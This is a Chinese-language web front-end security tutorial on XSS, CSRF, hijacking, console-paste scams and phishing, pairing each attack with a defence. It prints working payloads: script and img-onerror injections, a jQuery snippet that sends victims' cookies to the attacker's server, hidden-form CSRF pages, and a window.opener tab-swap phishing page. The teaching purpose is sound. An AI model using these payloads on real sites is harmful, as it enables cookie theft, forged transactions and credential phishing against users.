前端安全

 

1 XSS攻擊

1.1 是什麼?

百度百科中如是說道:
XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
其實在web前端方面,可以簡單的理解爲一種javascript代碼注入。舉個例子,我們有個社交網站,允許大家相互訪問空間,網站可能是這樣做的:

<?php
    $username="侯醫生";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用戶名:<?php echo $username;?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
    </body>
</html>

運行時,展現形式如圖1.1.1所示:

clipboard.png
圖1.1.1

但是,如果你的用戶名,起名稱的時候,帶上script標籤呢?我們知道,瀏覽器遇到html中的script標籤的時候,會解析並執行標籤中的js腳本代碼,那麼如果你的用戶名稱裏面含有script標籤的話,就可以執行其中的代碼了。
代碼如下,效果如圖1.1.2

<?php
    $username="<script>alert('侯醫生');</script>";
?>

clipboard.png
圖1.1.2
如果你將自己的用戶名設定爲這種執行腳本的方式,再讓別人去訪問你的連接的話,就可以達到在他人web環境中,執行自己腳本的效果了。我們還可以使用ajax,將其他用戶在當前域名下的cookie獲取併發送到自己的服務器上。這樣就可以獲取他人信息了。比如,剛剛咱們使用的不是alert而是,如下的代碼:

$.ajax({
    url: '自己的服務器',
    dataType: 'jsonp',
    data: {'盜取的用戶cookie': document.cookie}
});

再在各個QQ羣中,散播自己的空間,引誘別人來訪問。就可以拿到用戶在這個域名下的cookie或者其他隱私了。

1.2 如何防範?

目前來講,最簡單的辦法防治辦法,還是將前端輸出數據都進行轉義最爲穩妥。比如,按照剛剛我們那個例子來說,其本質是,瀏覽器遇到script標籤的話,則會執行其中的腳本。但是如果我們將script標籤的進行轉義,則瀏覽器便不會認爲其是一個標籤,但是顯示的時候,還是會按照正常的方式去顯示,代碼如下,效果如圖1.2.1

<?php
    $username="<script>alert('侯醫生');</script>";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <!--我們將輸出的後端變量,轉義之後再輸出,則可以避免被注入代碼-->
        <div>
            用戶名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
    </body>
</html>

clipboard.png
圖1.2.1
其實,我們再來看看網頁源碼,如圖1.2.2
clipboard.png
圖1.2.2
雖然顯示出來是有script標籤的,但是實際上,script標籤的左右尖括號(><),均被轉義爲html字符實體,所以,便不會被當做標籤來解析的,但是實際顯示的時候,這兩個尖括號,還是可以正常展示的。

1.3 升級攻擊

1.3.1 append的利用

上一小節我們防住了script標籤的左右尖括號,藍鵝,聰明的黑客們還是想出了好辦法去破解,我們知道,直接給innerHTML賦值一段js,是無法被執行的。比如,

$('div').innerHTML = '<script>alert("okok");</script>';

但是,jquery的append可以做到,究其原因,就是因爲jquery會在將append元素變爲fragment的時候,找到其中的script標籤,再使用eval執行一遍。jquery的append使用的方式也是innerHTML(如圖1.3.1.1)。而innerHTML是會將unicode碼轉換爲字符實體的。
clipboard.png
圖1.3.1.1
利用這兩種知識結合,我們可以得出,網站使用append進行dom操作,如果是append我們可以決定的字段,那麼我們可以將左右尖括號,使用unicode碼僞裝起來,就像這樣--"\u003cscript\u003ealert('okok');"。接下來轉義的時候,僞裝成\u003<會被漏掉,append的時候,則會被重新調用。代碼如下,效果如圖1.3.1.2

<?php
    $username="\u003cscript\u003ealert('okok');";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            用戶名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
        <div>版權所有:<span id="username_info"></span></div>
        <script>
            $('#username_info').append("<?php echo htmlentities($username);?>");
        </script>
    </body>
</html>

clipboard.png
圖1.3.1.2
我們可以看到,雖然進行了轉義,注入的代碼還是會再次被執行。

1.3.2 img標籤的再次利用

再來一種攻擊方式,img標籤的小貼士。
這裏我們需要重溫一個小知識點-----img標籤,在加載圖片失敗的時候,會調用該元素上的onerror事件。我們正可以利用這種方式來進行攻擊。我們先來看一下,正常的用戶分享圖片的行爲怎麼做。代碼如下,展示如圖1.3.2.1

<?php
    $username="<script>alert('侯醫生');</script>";
    $imgsrc="http://img5.imgtn.bdimg.com/it/u=1412369044,967882675&fm=11&gp=0.jpg";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用戶名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1,這個是圖片:
            <img src="<?php echo $imgsrc;?>" />
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
    </body>
</html>

clipboard.png
圖1.3.2.1
但是,如果這張圖片的地址我們換種寫法呢?

<?php
    $imgsrc="\" onerror=\"javascript:alert('侯醫生');\"";
?>

我們再來看看拼裝好的html源碼,如圖1.3.2.2:
clipboard.png
圖1.3.2.2
這時的源碼已經變爲--src爲空,但是onerror的時候,執行注入代碼。我們刷新查看頁面,就會發現,代碼注入已經成功,如圖1.3.2.3所示:
clipboard.png
圖1.3.2.3
看官你可能會說了,再轉義唄。是的,老套路,我們接着進行轉義---你這個毛病呀,就算治好了(老中醫口吻)。

<img src="<?php echo htmlentities($imgsrc);?>" />

恩,總算是恢復正常了,如圖1.3.2.4所示。
clipboard.png
圖1.3.2.4

1.3.3 組合使用

但是......但是,道高一尺魔高一丈,雖然防住了img標籤直接的輸出,但是我們的攻擊點又來了,我們將1.3.1中所說的方式與1.3.2中所說的方式進行結合,進行一種組合式攻擊,我們之前說過,innerHTML賦值的script標籤,不會被執行,但是innerHTML賦值一個img標籤是可以被識別的。我們把img標籤的左右尖括號,使用unicode進行僞裝,讓轉義方法認不出來,即使innerHTML也可以利用上了,代碼如下,效果如圖1.3.3.1

<?php
    $username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用戶名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
        <div>版權所有:<span id="username_info"></span></div>
        <script>
            document.getElementById('username_info').innerHTML = "<?php echo htmlentities($username);?>";
        </script>
    </body>
</html>

clipboard.png
圖1.3.3.1
這樣,innerHTML也可以派上用場,再次突破防線。

1.4 升級防禦

看來,我們需要再次進行防禦升級了,我們將輸出的字符串中的\反斜槓進行轉義(json轉義)。這樣,\就不會被當做unicode碼的開頭來被處理了。代碼如下:

document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;

生成處的源碼,如圖1.4.1
clipboard.png
圖1.4.1
效果如圖1.4.2所示
clipboard.png
圖1.4.2

1.5 XSS再升級

都說了道高一尺魔高一丈了,你以爲防得住後端輸出,黑客大大們就沒辦法攻擊了嗎。我們有的時候,會有一些習慣,拿URL上的get參數去構建網頁。好比說,直接拿url上的用戶名去展示啦,拿url上的一些回跳地址之類的。但是url上的參數,我們是無法提前對其進行轉義的。接下來,來個例子,代碼如下:

<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            用戶名:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
        <div>版權所有:<span id="username_info"></span></div>
        <script>
            var param = /=(.+)$/.exec(location.search);
            var value = decodeURIComponent(param[1]);
            $('#username_info').append(value);
        </script>
    </body>
</html>

上述代碼,滿足了一個很正常的需求,解開URL中的一個參數,並將其渲染至頁面上。但是,這裏面存在一個風險,如果黑客在URL的這個參數中,加入js代碼,這樣便又會被執行(如圖1.5.1所示)。
clipboard.png
圖1.5.1

1.6 防禦再次升級

像這種從url中獲取的信息,筆者建議,最好由後端獲取,在前端轉義後再行輸出,代碼如下,效果如圖1.6.1

<script>
    var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");
    $('#username_info').append(value);
</script>

clipboard.png
圖1.6.1
使用url中的參數的時候要小心,更不要拿URL中的參數去eval。

1.7 保護好你的cookie

如果不幸中招了,黑客的js真的在我們的網頁上執行了,我們該怎麼辦。其實,很多時候,我們的敏感信息都是存儲在cookie中的(不要把用戶機密信息放在網頁中),想要阻止黑客通過js訪問到cookie中的用戶敏感信息。那麼請使用cookie的HttpOnly屬性,加上了這個屬性的cookie字段,js是無法進行讀寫的。php的設置方法如下:

<?php
    setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE);
?>

如圖1.7.1,我們的cookie已經種上了,並且有了httpOnly標識
clipboard.png
圖1.7.1
如圖1.7.2,我們通過js無法獲取cookie中的設定有httpOnly的字段:
clipboard.png
圖1.7.2
話說回來,其實還有很多xss的升級攻擊方式,同學們有興趣的話,可以自己去研究一下。(不要幹壞事兒哦)

2 CSRF攻擊

2.1 什麼是CSRF攻擊?

CSRF攻擊在百度百科中的解釋是:
CSRF(Cross-site request forgery跨站請求僞造,也被稱爲“One Click Attack”或者Session Riding,通常縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。
其實就是網站中的一些提交行爲,被黑客利用,你在訪問黑客的網站的時候,進行的操作,會被操作到其他網站上(如:你所使用的網絡銀行的網站)。

2.2 如何攻擊?

2.2.1 要合理使用post與get

通常我們會爲了省事兒,把一些應當提交的數據,做成get請求。殊不知,這不僅僅是違反了http的標準而已,也同樣會被黑客所利用。
比如,你開發的網站中,有一個購買商品的操作。你是這麼開發的:

<?php
// 從cookie中獲取用戶名,看似穩妥
$username = $_COOKIE['username'];
$productId = $_GET['pid'];
// 這裏進行購買操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '買入商品:' . $productId;
?>

而商品ID圖個省事兒,就使用了url中的get參數。買商品的話,如圖2.2.1.1所示
clipboard.png
圖2.2.1.1
那麼,黑客的網站可以這樣開發:

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <img src="http://localhost:8082/lab/xsrflab/submit.php?pid=1" />
    </body>
</html>

這樣的話,用戶只需要訪問一次黑客的網站,其實就相當於在你的網站中,操作了一次。然而用戶卻沒有感知。如圖2.2.1.2所示:
clipboard.png
圖2.2.1.2
所以,我們日常的開發,還是要遵循提交業務,嚴格按照post請求去做的。更不要使用jsonp去做提交型的接口,這樣非常的危險。

2.2.2 xsrf攻擊升級

如果你使用了post請求來處理關鍵業務的,還是有辦法可以破解的。我們的業務代碼如下:

<?php
$username = $_COOKIE['username'];
// 換爲post了,可以規避黑客直接的提交
$productId = $_POST['pid'];
// 這裏進行購買操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '買入商品:' . $productId;
?>

黑客代碼如下:

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <button id="clickme">點我看相冊</button>
        <script>
            $('#clickme').on('click', function () {
                // 用戶再不知情的情況下,提交了表單,服務器這邊也會以爲是用戶提交過來的。
                $('#myform').submit();
            });
        </script>
        <form id="myform" style="display:none;" target="myformer" method="post" action="http://myhost:8082/lab/xsrflab/submit.php">
            <input type="hidden" name="pid" value="1">
        </form>
        <iframe name="myformer" style="display:none;"></iframe>
    </body>
</html>

效果如圖2.2.2.1
clipboard.png
圖2.2.2.1
點擊後,用戶進行了提交,卻連自己都不知情。這種情況如何防禦呢?
最簡單的辦法就是加驗證碼,這樣除了用戶,黑客的網站是獲取不到用戶本次session的驗證碼的。但是這樣也會降低用戶的提交體驗,特別是有些經常性的操作,如果總讓用戶輸入驗證碼,用戶也會非常的煩。
另一種方式,就是在用訪問的頁面中,都種下驗證用的token,用戶所有的提交都必須帶上本次頁面中生成的token,這種方式的本質和使用驗證碼沒什麼兩樣,但是這種方式,整個頁面每一次的session,使用同一個token就行,很多post操作,開發者就可以自動帶上當前頁面的token。如果token校驗不通過,則證明此次提交併非從本站發送來,則終止提交過程。如果token確實爲本網站生成的話,則可以通過。
代碼如下,防禦效果如圖2.2.2.2

<?php
$username = $_COOKIE['username'];
$productId = $_POST['pid'];
$token=$_POST['token'];
// 校驗算法例子
function check_token($token) {
    if ($token==='doctorhou-shuai') {
        return true;
    }
    return false;
}
if (!check_token($token)) {
    // 如果校驗未通過,則中止
    return ;
}
// 這裏進行購買操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '買入商品:' . $productId;
?>

clipboard.png
圖2.2.2.2
如上圖,並沒有攜帶本站每次session生成的token,則提交失敗。
本站的網站form,則都會自動攜帶本站生成的token

<?php function token_creater() {
    // 本站生成token的方法
    return 'doctorhou-shuai';
}?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <form id="myform" target="myformer" method="post" action="http://localhost:8082/lab/xsrflab/submit.php">
            商品名稱:<input name="pid" value="1">
            <input type="hidden" name="token" value="<?php echo token_creater();?>" />
            <input type="submit" value="提交" />
        </form>
        <iframe name="myformer" style="display:none;"></iframe>
    </body>
</html>

再次使用本站的網頁進行提交,則通過,如圖2.2.2.3所示:
clipboard.png
圖2.2.2.3
當然,上面的只是例子,具體的token生成,肯定是要隨着session與用戶ID去變的,如果各位看官覺得自己的網站也需要加個token,請自行百度,進行深入的學習。

3 網絡劫持攻擊

很多的時候,我們的網站不是直接就訪問到我們的服務器上的,中間會經過很多層代理,如果在某一個環節,數據被中間代理層的劫持者所截獲,他們就能獲取到使用你網站的用戶的密碼等保密數據。比如,我們的用戶經常會在各種飯館裏面,連一些奇奇怪怪的wifi,如果這個wifi是黑客所建立的熱點wifi,那麼黑客就可以結果該用戶收發的所有數據。這裏,建議站長們網站都使用https進行加密。這樣,就算網站的數據能被拿到,黑客也無法解開。

如果你的網站還沒有進行https加密的化,則在表單提交部分,最好進行非對稱加密--即客戶端加密,只有服務端能解開。這樣中間的劫持者便無法獲取加密內容的真實信息了。

4 控制檯注入代碼

不知道各位看官有沒有注意到天貓官網控制檯的警告信息,如圖4.1所示,這是爲什麼呢?因爲有的黑客會誘騙用戶去往控制檯裏面粘貼東西(欺負小白用戶不懂代碼),比如可以在朋友圈貼個什麼文章,說:"只要訪問天貓,按下F12並且粘貼以下內容,則可以獲得xx元禮品"之類的,那麼有的用戶真的會去操作,並且自己隱私被暴露了也不知道。
clipboard.png
圖4.1
天貓這種做法,也是在警告用戶不要這麼做,看來天貓的前端安全做的也是很到位的。不過,這種攻擊畢竟是少數,所以各位看官看一眼就行,如果真的發現有的用戶會被這樣攻擊的話,記得想起天貓的這種解決方案。

5 釣魚

釣魚也是一種非常古老的攻擊方式了,其實並不太算前端攻擊。可畢竟是頁面級別的攻擊,我們也來一起聊一聊。我相信很多人會有這樣的經歷,QQ羣裏面有人發什麼兼職啦、什麼自己要去國外了房子車子甩賣了,詳情在我QQ空間裏啦,之類的連接。打開之後發現一個QQ登錄框,其實一看域名就知道不是QQ,不過做得非常像QQ登錄,不明就裏的用戶們,就真的把用戶名和密碼輸入了進去,結果沒登錄到QQ,用戶名和密碼卻給人發過去了。
其實這種方式,在前端也有利用。下面,我們就來試試如果利用前端進行一次逼真的釣魚。
1 首先,我們在xx空間裏分享一篇文章,然後吸引別人去點擊。效果如圖5.1.1

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
        當前你在xx空間
        </div>
        <h1>侯博士的分享</h1>
        <section>
        咱們班當年班花,現在長這樣:
        <!--這是咱們的釣魚網站-->
        <a href="http://localhost:8082/lab/fish/cheat.php" target="_blank">點我查看</a>
        </section>
    </body>
</html>

clipboard.png
圖5.1.1
2 接着,我們在cheat.php這個網站上面,將跳轉過來的源網頁地址悄悄的進行修改。效果如圖5.2.1

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        你想看的信息:
        xxxxxxxxxxxxxx
        xxxxxxxxxxxxxx
        <script>
            // 在用戶不知情的情況下,對跳轉的來源網頁進行地址替換
            window.opener.location = 'http://localhost:8082/lab/fish/myfishsite.php';
        </script>
    </body>
</html>

於是,在用戶訪問了我們的欺騙網站後,之前的tab已經悄然發生了變化,我們將其悄悄的替換爲了釣魚的網站,欺騙用戶輸入用戶名、密碼等。
clipboard.png
圖5.2.1
3 我們的釣魚網站,僞裝成XX空間,讓用戶輸入用戶名與密碼,如圖5.3.1
clipboard.png
圖5.3.1
這種釣魚方式比較有意思,重點在於我們比較難防住這種攻擊,我們並不能將所有的頁面鏈接都使用js打開。所以,要麼就將外鏈跳轉的連接改爲當前頁面跳轉,要麼就在頁面unload的時候給用戶加以提示,要麼就將頁面所有的跳轉均改爲window.open,在打開時,跟大多數釣魚防治殊途同歸的一點是,我們需要網民們的安全意識提高。

我們平時開發要注意些什麼?

  1. 開發時要提防用戶產生的內容,要對用戶輸入的信息進行層層檢測

  2. 要注意對用戶的輸出內容進行過濾(進行轉義等)

  3. 重要的內容記得要加密傳輸(無論是利用https也好,自己加密也好)

  4. get請求與post請求,要嚴格遵守規範,不要混用,不要將一些危險的提交使用jsonp完成。

  5. 對於URL上攜帶的信息,要謹慎使用。

  6. 心中時刻記着,自己的網站哪裏可能有危險。

畢竟web安全是個很大的面,如果需要了解,還是需要進行專門的學習的。希望這篇聊一聊,可以讓各位開發者的網站變得更安全。

此篇文章引用 https://segmentfault.com/a/1190000006672214

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章